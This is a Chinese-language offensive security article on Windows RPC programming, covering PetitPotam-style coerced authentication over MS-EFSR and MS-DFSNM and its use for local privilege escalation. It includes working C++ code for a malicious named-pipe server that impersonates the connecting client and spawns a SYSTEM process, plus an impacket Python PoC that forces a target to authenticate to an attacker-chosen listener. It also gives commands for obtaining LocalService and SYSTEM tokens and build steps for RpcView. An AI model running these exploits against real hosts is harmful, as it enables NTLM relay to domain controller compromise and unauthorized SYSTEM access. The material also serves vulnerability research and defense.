WindowsRPC协议-从入门到提权0day

Su1Xu3@深蓝攻防实验室

本篇文章旨在由浅入深的对Windows RPC协议编程进行研究,从公开的PetitPotam的EFS协议导致的强制认证漏洞入手,过渡到使用EFS协议进行本地提权,再自行挖掘一个强制认证和提权的未公开协议。
其中包括了使用MSVC、Python对RPC协议编程的流程和坑点。以及在面对未知RPC时,如何对RPCView进行编译,并如何使用RPCView对未知RPC服务进行逆向并完成协议的编程和利用。

MS-EFSR协议

EFSRPC利用介绍

协议文档
https://learn.microsoft.com/zh-cn/openspecs/windows_protocols/ms-efsr/08796ba8-01c8-4872-9221-1000ec2eff31

根据文档描述EFSRPC协议必须通过\pipe\lsarpc或者\pipe\efsrpc管道通信,且两个管道对应的UUID必须为c681d488-d850-11d0-8c52-00c04fd90f7e或者df1941c5-fe89-4e79-bf10-463657acf44d

PS: 虽然文档写的仅仅只能使用lsarpcefsrpc管道,但是实际上只要是lsass.exe创建的管道都可以使用,唯一需要注意的是efsrpc管道的UUID一定要是df1941c5-fe89-4e79-bf10-463657acf44d。其余管道例如samr、lsass皆可使用c681d488-d850-11d0-8c52-00c04fd90f7e

PetitPotam--EfsRpcOpenFileRaw

PetitPotam是一个默认匿名强制服务器到指定IP进行身份认证的一个漏洞。该漏洞常见用法为强制DC到中继服务器进行认证,由中继服务器转发到ADCS申请证书,通过证书获得DC$的权限。从而得到域控权限。

实际上PetitPotam利用的是一个叫MS-EFSRPC协议,该协议是对远程存储和通过网络访问的加密数据进行维护和管理的。该协议中的EfsRpcOpenFileRaw API 是通常用于备份软件,功能是打开一个文件。

通过测试,可以看出通过\pipe\lsass管道发送EFSRPC协议后,目标的lsass.exe进程会对发送的IP进行认证请求,请求管道为\\IP\PIPE\srvsvc。请求成功后,再去访问我们要求操作的\\IP\c$\workspace\foo123.txt

从而造成了强制认证的漏洞,要利用此漏洞可以使用Responder获取目标机器的NTLM-NET-V2的hash进行本地暴力破解,或者利用ntlmrelayx.py进行中继利用。

PetitPotam思维导图

PS:除了最初的EfsRpcOpenFileRaw之外,EFS协议还有多种API可以调用,同样可以造成强制认证。且EfsRpcOpenFileRaw已在CVE-2021-36942中得到修复。

EFS提权流程

除此之外,该协议实际上还可以造成其他的漏洞,例如结合各类土豆的原理进行本地提权。

例如下图,我们可以看到,当我们要求目标服务器请求的地址为\\IP/pipe/sss\filename的时候,lsass.exe请求的管道变成了\\IP\pipe\sss\PIPE\srvsvc。而此时\\IP\pipe\sss\PIPE\srvsvc是一个不存在的管道,如果我们手动创建该管道,并在该管道中设置特殊的服务操作。例如将模拟连接的用户权限,创建指定的任意进程。我们即完成了提权。

EFSRPC 协议本地提权思维导图

CreateNamedPipe

监听管道\\\\.\\pipe\\lsarpc\\pipe\\srvsvc,等待回连

DWORD WINAPI LaunchPetitNamedPipeServer(LPVOID lpParam)
{
    HANDLE hNamedPipe = NULL;
    LPWSTR lpName;
    LPWSTR lpCommandLine = (LPWSTR)lpParam;

    SECURITY_DESCRIPTOR sd = { 0 };
    SECURITY_ATTRIBUTES sa = { 0 };

    lpName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
    StringCchPrintf(lpName, MAX_PATH, L"\\\\.\\pipe\\lsarpc\\pipe\\srvsvc");

    if ((hNamedPipe = CreateNamedPipe(lpName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)))
    {
        printf("\n[+] Malicious named pipe running on %S.\n", lpName);
    }
    else
    {
        printf("[-] ImpersonateNamedPipeClient() Error: %i.\n", GetLastError());
        return 0;
    }

    if (ConnectNamedPipe(hNamedPipe, NULL) != NULL)
    {
        printf("[+] The connection is successful.\n");
    }
    else
    {
        printf("[-] ConnectNamedPipe() Error: %i.\n", GetLastError());
        return 0;
    }

    GetSystem(hNamedPipe, lpCommandLine);
    CloseHandle(hNamedPipe);

    return 0;
}

设置回连后的恶意操作GetSystem

STARTUPINFO si;
PROCESS_INFORMATION pi;

HANDLE hProcess;
HANDLE hToken = NULL;
HANDLE phNewToken = NULL;

LPWSTR lpCurrentDirectory = NULL;
LPVOID lpEnvironment = NULL;

// clear a block of memory
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));

if (ImpersonateNamedPipeClient(hNamedPipe))
{
    printf("[+] ImpersonateNamedPipeClient success.\n");
}
else
{
    printf("[-] ImpersonateNamedPipeClient() Error: %i.\n", GetLastError());
    return;
}

if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken))
{
    printf("[+] OpenThreadToken success.\n");
}
else
{
    printf("[-] OpenThreadToken() Error: %i.\n", GetLastError());
    return;
}

if (DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &phNewToken))
{
    printf("[+] DuplicateTokenEx success.\n");
}
else
{
    printf("[-] DupicateTokenEx() Error: %i.\n", GetLastError());
    return;
}

if (!(lpCurrentDirectory = (LPWSTR)malloc(MAX_PATH * sizeof(WCHAR))))
{
    return;
}

if (!GetSystemDirectory(lpCurrentDirectory, MAX_PATH))
{
    printf("[-] GetSystemDirectory() Error: %i.\n", GetLastError());
    return;
}

if (!CreateEnvironmentBlock(&lpEnvironment, phNewToken, FALSE))
{
    printf("[-] CreateEnvironmentBlock() Error: %i.\n", GetLastError());
    return;
}

if (CreateProcessAsUser(phNewToken, NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_UNICODE_ENVIRONMENT, lpEnvironment, lpCurrentDirectory, &si, &pi))
{
    printf("[+] CreateProcessAsUser success.\n");

    CloseHandle(hToken);
    CloseHandle(phNewToken);

    return;
}
else if (GetLastError() != NULL)
{
    RevertToSelf();
    printf("[!] CreateProcessAsUser() failed, possibly due to missing privileges, retrying with CreateProcessWithTokenW().\n");

    if (CreateProcessWithTokenW(phNewToken, LOGON_WITH_PROFILE, NULL, lpCommandLine, CREATE_UNICODE_ENVIRONMENT | CREATE_NEW_CONSOLE, lpEnvironment, lpCurrentDirectory, &si, &pi))
    {
        printf("[+] CreateProcessWithTokenW success.\n");

        CloseHandle(hToken);
        CloseHandle(phNewToken);

        return;
    }
    else
    {
        printf("[-] CreateProcessWithTokenW failed (%d).\n", GetLastError());

        CloseHandle(hToken);
        CloseHandle(phNewToken);
        return;
    }
}

RpcStringBindingComposeW

尝试连接到目标开放的管道准备发送EFS协议的数据包

RPC_WSTR ObjUuid = (RPC_WSTR)L"c681d488-d850-11d0-8c52-00c04fd90f7e";
RPC_WSTR ProtSeq = (RPC_WSTR)L"ncacn_np"; 
RPC_WSTR NetworkAddr = (RPC_WSTR)L"\\\\127.0.0.1";
RPC_WSTR Endpoint = (RPC_WSTR)L"\\pipe\\lsarpc"; 
RPC_WSTR Options = NULL; 
RPC_WSTR StringBinding; 

RPC_STATUS RpcStatus;

RPC_BINDING_HANDLE binding_h;

RpcStatus = RpcStringBindingComposeW(ObjUuid, ProtSeq, NetworkAddr, Endpoint, Options, &StringBinding);
if (RpcStatus != RPC_S_OK) {
    printf("[-] RpcStringBindingComposeW() Error: %i\n", GetLastError());
    return;
}

RpcStatus = RpcBindingFromStringBindingW(
    StringBinding,    // Previously created string binding
    &binding_h    // Output binding handle
);

EfsRpcOpenFileRaw

发送EFS协议的数据包,通过EFS协议EfsRpcOpenFileRaw函数打开\\\\localhost/pipe/lsarpc\\C$\\wh0nqs.txt文件

LPWSTR PipeFileName;
long result;

PipeFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
StringCchPrintf(PipeFileName, MAX_PATH, L"\\\\localhost/pipe/lsarpc\\C$\\wh0nqs.txt");

wprintf(L"[+] Invoking EfsRpcOpenFileRaw with target path: %ws.\r\n", PipeFileName);
PVOID hContext;
result = Proc0_EfsRpcOpenFileRaw_Downlevel(binding_h, &hContext, PipeFileName, 0);

EFS提权效果

提权为SYSTEM

PetitPotato.exe 0 whoami lsarpc

MS-DFSNM 协议

DFS协议介绍

协议文档
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/95a506a8-cae6-4c42-b19d-9c1ed1223979

根据文档描述,DFS协议必须要通过\PIPE\NETDFS管道通信,UUID必须为4FC742E0-4A10-11CF-8273-00AA004AE673。 ^5d40c7

PS: DFS协议的进程为dfssvc.exe,该进程只有一个管道,所以DFS协议必须通过\PIPE\NETDFS进行通信。 ^b775ae

DFS协议第一次启用时,在Win2012上会访问一个默认不存在的\PIPE\winreg管道,该管道会在DFS协议使用过后才进行监听,进程为svchost.exe。或使用/的性质换成其他管道利用。

DFS协议在Win2016上会访问\PIPE\wkssvc管道,同样可以使用/的性质换成其他管道进行利用。经过测试,Win2016上的wkssvc管道无法利用,token权限太低,为SecurityIdentification

MS-DFSNM 中继

和Petitpotam一样的用法,没有特殊的。

MS-DFSNM 提权

管道模拟提权流程

使用POC进行强制认证

进行管道监听接收强制认证的token。

强制认证的python POC。
如何修改该POC在RPC编程流程-Python(MS-DFSNM)章节中进行介绍。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# File name          : coerce_poc.py
# Author             : Podalirius (@podalirius_)
# Date created       : 01 July 2022


import sys
import argparse
import random
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL, NDRSTRUCT
from impacket.dcerpc.v5.dtypes import UUID, ULONG, WSTR, DWORD, LONG, NULL, BOOL, UCHAR, PCHAR, RPC_SID, LPWSTR, GUID
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_WINNT, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from impacket.uuid import uuidtup_to_bin


class DCERPCSessionError(DCERPCException):
    def __init__(self, error_string=None, error_code=None, packet=None):
        DCERPCException.__init__(self, error_string, error_code, packet)

    def __str__(self):
        key = self.error_code
        if key in system_errors.ERROR_MESSAGES:
            error_msg_short = system_errors.ERROR_MESSAGES[key][0]
            error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
            return 'SessionError: code: 0x%x - %s - %s' % (self.error_code, error_msg_short, error_msg_verbose)
        else:
            return 'SessionError: unknown error code: 0x%x' % self.error_code


def gen_random_name(length=8):
    alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
    name = ""
    for k in range(length):
        name += random.choice(alphabet)
    return name


class NetrDfsAddStdRoot(NDRCALL):
    opnum = 12
    structure = (
        ('ServerName', WSTR),  # Type: WCHAR *
        ('RootShare', WSTR),   # Type: WCHAR *
        ('Comment', WSTR),     # Type: WCHAR *
        ('ApiFlags', DWORD),   # Type: DWORD
    )


class NetrDfsAddStdRootResponse(NDRCALL):
    structure = ()


class RPCProtocol(object):
    """
    Documentation for class RPCProtocol
    """

    uuid = None
    version = None
    pipe = None

    ncan_target = None
    __rpctransport = None
    dce = None

    def __init__(self):
        super(RPCProtocol, self).__init__()

    def connect(self, username, password, domain, lmhash, nthash, target, dcHost, doKerberos=False, targetIp=None):
        self.ncan_target = r'ncacn_np:%s[%s]' % (target, self.pipe)
        self.__rpctransport = transport.DCERPCTransportFactory(self.ncan_target)

        if hasattr(self.__rpctransport, 'set_credentials'):
            self.__rpctransport.set_credentials(
                username=username,
                password=password,
                domain=domain,
                lmhash=lmhash,
                nthash=nthash
            )

        if doKerberos == True:
            self.__rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
        if targetIp is not None:
            self.__rpctransport.setRemoteHost(targetIp)

        self.dce = self.__rpctransport.get_dce_rpc()

        print("[>] Connecting to %s ... " % self.ncan_target, end="")
        sys.stdout.flush()
        try:
            self.dce.connect()
        except Exception as e:
            print("\x1b[1;91mfail\x1b[0m")
            print("[!] Something went wrong, check error status => %s" % str(e))
            return False
        else:
            print("\x1b[1;92msuccess\x1b[0m")

        print("[>] Binding to <uuid='%s', version='%s'> ... " % (self.uuid, self.version), end="")
        sys.stdout.flush()
        try:
            self.dce.bind(uuidtup_to_bin((self.uuid, self.version)))
        except Exception as e:
            print("\x1b[1;91mfail\x1b[0m")
            print("[!] Something went wrong, check error status => %s" % str(e))
            return False
        else:
            print("\x1b[1;92msuccess\x1b[0m")

        return True


class MS_DFSNM(RPCProtocol):
    uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673"
    version = "3.0"
    pipe = r"\PIPE\netdfs"

    def NetrDfsAddStdRoot(self, listener):
        if self.dce is not None:
            print("[>] Calling NetrDfsAddStdRoot() ...")
            try:
                request = NetrDfsAddStdRoot()
                request['ServerName'] = '%s\x00' % listener
                request['RootShare'] = gen_random_name() + '\x00'
                request['Comment'] = gen_random_name() + '\x00'
                request['ApiFlags'] = 0
                # request.dump()
                resp = self.dce.request(request)
            except Exception as e:
                print(e)
        else:
            print("[!] Error: dce is None, you must call connect() first.")


if __name__ == '__main__':
    print("Windows auth coerce using MS-DFSNM::NetrDfsAddStdRoot()\n")
    parser = argparse.ArgumentParser(add_help=True, description="Proof of concept for coercing authentication with MS-DFSNM::NetrDfsAddStdRoot()")

    parser.add_argument("-u", "--username", default="", help="Username to authenticate to the endpoint.")
    parser.add_argument("-p", "--password", default="", help="Password to authenticate to the endpoint. (if omitted, it will be asked unless -no-pass is specified)")
    parser.add_argument("-d", "--domain", default="", help="Windows domain name to authenticate to the endpoint.")
    parser.add_argument("--hashes", action="store", metavar="[LMHASH]:NTHASH", help="NT/LM hashes (LM hash can be empty)")
    parser.add_argument("--no-pass", action="store_true", help="Don't ask for password (useful for -k)")
    parser.add_argument("-k", "--kerberos", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
    parser.add_argument("--dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
    parser.add_argument("--target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it")

    parser.add_argument("listener", help="IP address or hostname of listener")
    parser.add_argument("target", help="IP address or hostname of target")

    options = parser.parse_args()

    if options.hashes is not None:
        lmhash, nthash = options.hashes.split(':')
    else:
        lmhash, nthash = '', ''

    if options.password == '' and options.username != '' and options.hashes is None and options.no_pass is not True:
        from getpass import getpass

        options.password = getpass("Password:")

    protocol = MS_DFSNM()

    connected = protocol.connect(
        username=options.username,
        password=options.password,
        domain=options.domain,
        lmhash=lmhash,
        nthash=nthash,
        target=options.target,
        doKerberos=options.kerberos,
        dcHost=options.dc_ip,
        targetIp=options.target_ip
    )

    if connected:
        protocol.NetrDfsAddStdRoot(options.listener)

    sys.exit()

RPC编程流程-C++(MS-DFSNM)

通过微软文档获得IDL文件

获得完整的IDL文件

根据微软文档,我们可以拿到MS-DFSNM的完整IDL。将其全部复制成文件重命名为ms-dfsnm.idl即可在Visual Studio中编译为ms-dfsnm_c.c、ms-dfsnm_s.c、ms-dfsnm_h.h文件。xxx_s.c文件是服务端所需文件,xxx_c.c文件是客户端所需文件。

如上图所示,需要导入一个名为ms-dtyp.idl的文件,我们可以在文档中搜索ms-dtyp的关键字,可以得到ms-dtyp.idl的完整文件。如下图:

编译IDL文件

如下图可以对idl文件进行编译

编译后可将生成的xxx_c.c和.h文件导入。因为我们是针对客户端编程,所以不需要xxx_s.c

include .h 文件后可能会报错,这些报错大部分应该是因为包含顺序问题导致的。但是不知道怎么调整包含顺序。

如果能把ms-dtyp.h放在最后包含,应该就不会报错了

我们先通过将重复定义的去掉,再尝试编译,会发现找不到两个特殊的函数。

通过微软文档可以得到这两个函数的内容是什么

此时我们终于可以成功生成。

RPC (MS-DFSNM) 实战

首先需要了解 RPC连接流程

POC代码

#include <iostream>
#pragma comment(lib, "RpcRT4.lib")
int wmain(int argc, wchar_t* argv[])
{
    RPC_STATUS status;
    RPC_WSTR StringBinding;
    RPC_BINDING_HANDLE Binding;

    status = RpcStringBindingCompose(
        (RPC_WSTR)L"4FC742E0-4A10-11CF-8273-00AA004AE673",                       // UUID
        (RPC_WSTR)L"ncacn_np",      // Protocol sequence
        (RPC_WSTR)L"\\\\127.0.0.1", // IP
        (RPC_WSTR)L"\\pipe\\netdfs", // 管道
        NULL,                       // NULL
        &StringBinding              // RPC输出
    );

    wprintf(L"[*] RpcStringBindingCompose status code: %d\r\n", status);

    wprintf(L"[*] String binding: %ws\r\n", StringBinding);

    status = RpcBindingFromStringBinding(
        StringBinding,             
        &Binding                    
    );

    wprintf(L"[*] RpcBindingFromStringBinding status code: %d\r\n", status);

    status = RpcStringFree(
        &StringBinding              
    );

    wprintf(L"[*] RpcStringFree status code: %d\r\n", status);

    RpcTryExcept
    {
        // RPC操作的任意代码
    }
    RpcExcept(EXCEPTION_EXECUTE_HANDLER);
    {
        wprintf(L"Exception: %d - 0x%08x\r\n", RpcExceptionCode(), RpcExceptionCode());
    }
    RpcEndExcept

    status = RpcBindingFree(
        &Binding                    
    );

    wprintf(L"[*] RpcBindingFree status code: %d\r\n", status);
}

void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes)
{
    return((void __RPC_FAR*) malloc(cBytes));
}

void __RPC_USER midl_user_free(void __RPC_FAR* p)
{
    free(p);
}

通过微软文档可以知道NetrDfsAddStdRoot函数的写法。
最终核心代码如下:

RpcTryExcept
    {
        LPWSTR PipeFileName;
        long result;
        PipeFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
        StringCchPrintf(PipeFileName, MAX_PATH, L"\\\\127.0.0.1/pipe/qwe");

        status = NetrDfsAddStdRoot(Binding,PipeFileName,(WCHAR*)"test",(WCHAR*)"comment",NULL);
        wprintf(L"  [+] NetrDfsAddStdRoot Send Successful. status code: %d\r\n", status);

    }

运行结果如下:

通过A机器向192.168.40.140\pipe\netdfs请求NetrDfsAddStdRootAPI,该API的ServerName参数为\\\\192.168.40.140/pipe/qwe。从而导致192.168.40.140收到请求后,强制去请求了\\192.168.40.140\pipe\qwe\pipe\winreg

该协议的此API可导致中继或本地提权。

通过RPCView反编译得到IDL文件(非必要)

RPCView源码
https://github.com/silverf0x/RpcView

安装cmake

https://github.com/Kitware/CMake/releases/download/v3.24.2/cmake-3.24.2-windows-x86_64.msi

安装QT

需要有7z.exe

# Update these settings according to your needs but the default values should be just fine.
$DestinationFolder = "C:\Qt"
$QtVersion = "qt5_5152"
$Target = "msvc2019"
$BaseUrl = "https://download.qt.io/online/qtsdkrepository/windows_x86/desktop"
$7zipPath = "C:\Program Files\7-Zip\7z.exe"

# Store all the 7z archives in a Temp folder.
$TempFolder = Join-Path -Path $DestinationFolder -ChildPath "Temp"
$null = [System.IO.Directory]::CreateDirectory($TempFolder)

# Build the URLs for all the required components.
$AllUrls = @("$($BaseUrl)/tools_qtcreator", "$($BaseUrl)/$($QtVersion)_src_doc_examples", "$($BaseUrl)/$($QtVersion)")

# For each URL, retrieve and parse the "Updates.xml" file. This file contains all the information
# we need to dowload all the required files.
foreach ($Url in $AllUrls) {
    $UpdateXmlUrl = "$($Url)/Updates.xml"
    $UpdateXml = [xml](New-Object Net.WebClient).DownloadString($UpdateXmlUrl)
    foreach ($PackageUpdate in $UpdateXml.GetElementsByTagName("PackageUpdate")) {
        $DownloadableArchives = @()
        if ($PackageUpdate.Name -like "*$($Target)*") {
            $DownloadableArchives += $PackageUpdate.DownloadableArchives.Split(",") | ForEach-Object { $_.Trim() } | Where-Object { -not [string]::IsNullOrEmpty($_) }
        }
        $DownloadableArchives | Sort-Object -Unique | ForEach-Object {
            $Filename = "$($PackageUpdate.Version)$($_)"
            $TempFile = Join-Path -Path $TempFolder -ChildPath $Filename
            $DownloadUrl = "$($Url)/$($PackageUpdate.Name)/$($Filename)"
            if (Test-Path -Path $TempFile) {
                Write-Host "File $($Filename) found in Temp folder!"
            }
            else {
                Write-Host "Downloading $($Filename) ..."
                (New-Object Net.WebClient).DownloadFile($DownloadUrl, $TempFile)
            }
            Write-Host "Extracting file $($Filename) ..."
            &"$($7zipPath)" x -o"$($DestinationFolder)" $TempFile | Out-Null
        }
    }
}

安装Visual Studio

微软官网下载 Visual Studio Installer,运行后点击修改。

必须要安装的有C++桌面开发以及任意一个Windows SDK。如图所示:

添加缺少的RPC Runtime(非必要)

可以使用命令绕过添加缺少的RPC Runtime的报错

RpcView.exe /force

根据RpcView的Readme可以看出,我们需要编辑RpcInternals.h文件中的版本号

具体位置如下图:

该文件需要修改的位置如下图:

找当前机器上的RPC Runtime如下图:

以上图为例,换算方法如下:

十六进制:   0xA 0000 4A61  070E LL
十进制:        10  0    19041 1806

正式编译RPCView

根据Github文档所述,我们可以开始编译RPCView了。

编译脚本如下:

mkdir Build\x64
cd Build\x64
set CMAKE_PREFIX_PATH=C:\Qt\5.15.2\msvc2019_64\
"C:\Program Files\CMake\bin\cmake.exe" ../../ -A x64
"C:\Program Files\CMake\bin\cmake.exe" --build . --config Release

cmake编译成功后可得到如下目录:

使用该目录下的RpcView.sln可以用Visual Studio打开并进行最后的编译。

下载RPCView所需的符号文件

此bat只会下载C:\Windows\System32\下的DLL文件的符号文件。

cd "C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\"
symchk /s srv*c:\SYMBOLS*https://msdl.microsoft.com/download/symbols C:\Windows\System32\*.dll

如果找不到symchk的话需要手动安装Windows SDK的Debugging Tools。安装方法如下图所示。

使用RPCView反编译RPC接口

打开RPCView后,可以通过点击Pid为0的System Idle Process查看所有的RPC端点和RPC接口。

根据MS-DFSNM的文档可以得知我们需要找的是
DFS 管道和UUID
DFS 协议的进程名
如下图所示:

通过下图可以进行反编译,右下方的框的ID分别对应着MS-DFSNM文档里面API的Opnum。
左边中间的Decompilation里面是反编译后的代码。右边中间的Location显示了接口的文件名。
如果下载了接口文件对应的符号文件,则会在Name的部分会显示文档中的API名称。

反编译出来的代码就是这个接口的完整IDL。不过这个RPC接口的IDL文件在微软文档中有,所以本次实验实际上是不需要这样操作的。

符号文件在此处导入:

RPC编程流程-Python(MS-DFSNM)

github上有写好的源码

https://github.com/p0dalirius/windows-coerced-authentication-methods/tree/ad8f6c08d07de41e80234a16dbcfdb9d3ca242c0/methods/%5BMS-DFSNM%5D%20Distributed%20File%20System%20(DFS)%20Namespace%20Management%20Protocol/Remote%20call%20to%20NetrDfsAddStdRoot%20(opnum%2012)

可以直接把模板拿来使用,需要注意的是如果要换成别的协议,需要相应的根据协议对其进行需修改。

如下图的部分:

附录

使用PSexec获得Local Service权限

psexec -i -d -u "NT AUTHORITY\LocalService" cmd

安装NtObjectManager获得Local Service权限

#设置TLS(可选)
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;
#安装NtObjectManager
Install-Module -Name NtObjectManager -RequiredVersion 1.1.32
#手动安装
# 下载包解压后放入一下目录
C:\Program Files\WindowsPowerShell\Modules
# 最终路径
C:\Program Files\WindowsPowerShell\Modules\NtObjectManager\1.1.32

获得SYSTEM权限

$p = Start-Win32ChildProcess powershell

获得LocalService权限

$sess = Get-NtToken -Session
$token = Get-NtToken -Service LocalService -AdditionalGroups $sess.LogonSid.Sid
New-Win32Process cmd -Token $token -CreationFlags NewConsole

点击收藏 | 3 关注 | 1
  • 动动手指,沙发就是你的了!
登录 后跟帖